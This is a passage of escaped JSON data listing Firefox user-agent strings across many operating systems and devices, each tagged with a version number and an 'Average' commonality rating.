Firefox\\/12.0\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Average\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko\\/20100101 Firefox\\/21.0\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Average\",\"version\":\"3.5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.1.3) Gecko\\/20090824 Firefox\\/3.5.3\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Android 7.0; Mobile; rv:58.0) Gecko\\/58.0 Firefox\\/58.0\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Average\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:29.0) Gecko\\/20100101 Firefox\\/29.0\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Average\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.13) Gecko\\/20110412 Cunaguaro\\/3.6.13+14 (like Firefox\\/3.6.13+14)\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (FreeBSD; Viera; rv:34.0) Gecko\\/20100101 Firefox\\/34.0\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.12; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Mobile; ALCATELOneTouch4019A; rv:28.0) Gecko\\/28.0 Firefox\\/28.0\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:2.0.1) Gecko\\/20100101 Firefox\\/4.0.1\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Android; Tablet; rv:40.0) Gecko\\/40.0 Firefox\\/40.0\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko\\/20100101 Firefox\\/18.0\"},{\"commonality\":\"Average\",\"version\":\"22\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:22.0) Gecko\\/20100101 Firefox\\/22.0 Paros\\/3.2.13\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F90M\\/LYF-F90M-000-02-26-310118; Android; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:10.0.2) Gecko\\/20100101 Firefox\\/10.0.2\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:8.0.1) Gecko\\/20100101 Firefox\\/8.0.1\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Average\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:19.0) Gecko\\/20100101 Firefox\\/19.0\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:11.0) Gecko\\/20100101 Firefox\\/11.0\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Mobile; rv:45.0) Gecko\\/45.0 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F90M\\/LYF-F90M-000-02-23-181217; Android; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:30.0) Gecko\\/20100101 Firefox\\/30.0\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.12; rv:59.0) Gecko\\/20100101 Firefox\\/59.0\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.x.x) Gecko\\/20041107 Firefox\\/x.x\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; rv:53.0) Gecko\\/20100101 Firefox\\/53.0\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Mobile; rv:49.0) Gecko\\/49.0 Firefox\\/49.0\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:18.0) Gecko\\/20100101 Firefox\\/18.0\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko\\/20100101 Firefox\\/60.0\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:10.0) Gecko\\/20100101 Firefox\\/10.0\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Average\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:32.0) Gecko\\/20100101 Firefox\\/32.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Mobile; rv:48.0) Gecko\\/48.0 Firefox\\/48.0\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:36.0) Gecko\\/20100101 Firefox\\/36.0\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64; rv:58.0) Gecko\\/20100101 Firefox\\/58.0\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:18.0) Gecko\\/20100101 Firefox\\/18.0\"},{\"commonality\":\"Average\",\"version\":\"22\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko\\/20100101 Firefox\\/22.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Mobile; rv:48.0) Gecko\\/48.0 Firefox\\/48.0\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:2.0) Gecko\\/20100101 Firefox\\/4.0\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Mobile; rv:51.0) Gecko\\/51.0 Firefox\\/51.0\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko\\/20100101 Firefox\\/15.0.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko\\/20110307 Firefox\\/4.0b13pre\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Mobile; rv:45.0) Gecko\\/45.0 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:12.0) Gecko\\/20100101 Firefox\\/12.0\"},{\"commonality\":\"Average\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:33.0) Gecko\\/20100101 Firefox\\/33.0\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Mobile; rv:44.0) Gecko\\/44.0 Firefox\\/44.0\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:8.0) Gecko\\/20100101 Firefox\\/8.0 Cunaguaro\\/8.0\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko\\/20100101 Firefox\\/10.0.1\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko\\/20100101 Firefox\\/8.0\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Average\",\"version\":\"3.5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.5) Gecko\\/20091102 Firefox\\/3.5.5 (.NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko\\/20100101 Firefox\\/34.0 AlexaToolbar\\/alxf-2.21\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:18.0) Gecko\\/20100101 Firefox\\/18.0\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:58.0) Gecko\\/20100101 Firefox\\/58.0\"},{\"commonality\":\"Average\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:20.0) Gecko\\/20100101 Firefox\\/20.0\"},{\"commonality\":\"Average\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:19.0) Gecko\\/20100101 Firefox\\/19.0\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Average\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko\\/20100722 Firefox\\/3.6.8\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Average\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko\\/20100101 Firefox\\/33.0\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Android 7.0; Mobile; rv:56.0) Gecko\\/56.0 Firefox\\/56.0\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:36.0) Gecko\\/20100101 Firefox\\/36.0\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F81E\\/LYF_F81E_000_01_15_211217;Android; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Average\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko\\/20100115 Firefox\\/3.6 (FlipboardProxy\\/1.1; +http:\\/\\/flipboard.com\\/browserproxy)\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:12.0) Gecko\\/20120403211507 Firefox\\/12.0\"},{\"commonality\":\"Average\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko\\/17.0 Firefox\\/17.0\"},{\"commonality\":\"Average\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:35.0) Gecko\\/20100101 Firefox\\/35.0\"},{\"commonality\":\"Average\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:16.0) Gecko\\/20100101 Firefox\\/16.0\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:53.0) Gecko\\/20100101 Firefox\\/53.0\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"commonality\":\"Average\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko\\/20100101 Firefox\\/29.0\"},{\"commonality\":\"Average\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko\\/20100101 Firefox\\/16.0\"},{\"commonality\":\"Average\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:26.0) Gecko\\/20100101 Firefox\\/26.0\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko\\/20100101 Firefox\\/53.0\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:5.0) Gecko\\/20100101 Firefox\\/5.0\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:59.0) Gecko\\/20100101 Firefox\\/59.0\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:12.0) Gecko\\/20100101 Firefox\\/12.0\"},{\"commonality\":\"Average\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:19.0) Gecko\\/20100101 Firefox\\/19.0\"},{\"commonality\":\"Average\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko\\/20100101 Firefox\\/23.0\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:28.0) Gecko\\/20100101 Firefox\\/28.0\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:12.0) Gecko\\/20100101 Firefox\\/12.0\"},{\"commonality\":\"Average\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:15.0) Gecko\\/20100101 Firefox\\/15.0.1\"},{\"commonality\":\"Average\",\"version\":\"2.0\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko\\/20080311 Firefox\\/2.0.0.13\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Mobile; rv:49.0) Gecko\\/49.0 Firefox\\/49.0\"},{\"commonality\":\"Average\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:24.0) Gecko\\/20100101 Firefox\\/24.0\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Average\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:13.0) Gecko\\/20100101 Firefox\\/13.0\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:58.0) Gecko\\/20100101 Firefox\\/58.0\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:6.0) Gecko\\/20100101 Firefox\\/6.0\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:37.0) Gecko\\/20100101 Firefox\\/37.0\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Average\",\"version\":\"22\",\"ua\":\"Mozilla\\/5.0 (Android; Mobile; rv:22.0) Gecko\\/22.0 Firefox\\/22.0\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:53.0) Gecko\\/20100101 Firefox\\/53.0\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko\\/20100101 Firefox\\/12.0\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Mobile; rv:47.0) Gecko\\/47.0 Firefox\\/47.0\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:59.0) Gecko\\/20100101 Firefox\\/59.0\"},{\"commonality\":\"Average\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:14.0) Gecko\\/20100101 Firefox\\/14.0.1\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (X11; FreeBSD amd64; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Average\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:13.0) Gecko\\/20100101 Firefox\\/13.0.1\"},{\"commonality\":\"Average\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko\\/20100115 Firefox\\/3.6\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:30.0) Gecko\\/20100101 Firefox\\/30.0\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Mobile; rv:47.0) Gecko\\/47.0 Firefox\\/47.0\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:53.0) Gecko\\/20100101 Firefox\\/53.0\"},{\"commonality\":\"Average\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko\\/20100101 Firefox\\/24.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/LF-2403N\\/LYF-LF2403N-000-01-3B-010218;Android; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; rv:28.0) Gecko\\/20100101 Firefox\\/28.0 Cyberfox\\/28.0.1\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Android 6.0; Mobile; rv:57.0) Gecko\\/57.0 Firefox\\/57.0\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:18.0) Gecko\\/20100101 Firefox\\/18.0\"},{\"commonality\":\"Average\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko\\/2009042113 Ubuntu\\/8.04 (hardy) Firefox\\/3.0.9\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:6.0) Gecko\\/20110814 Firefox\\/10.0.1\"},{\"commonality\":\"Average\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b4) Gecko\\/2008030317 Firefox\\/3.0b4\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:51.0) Gecko\\/20100101 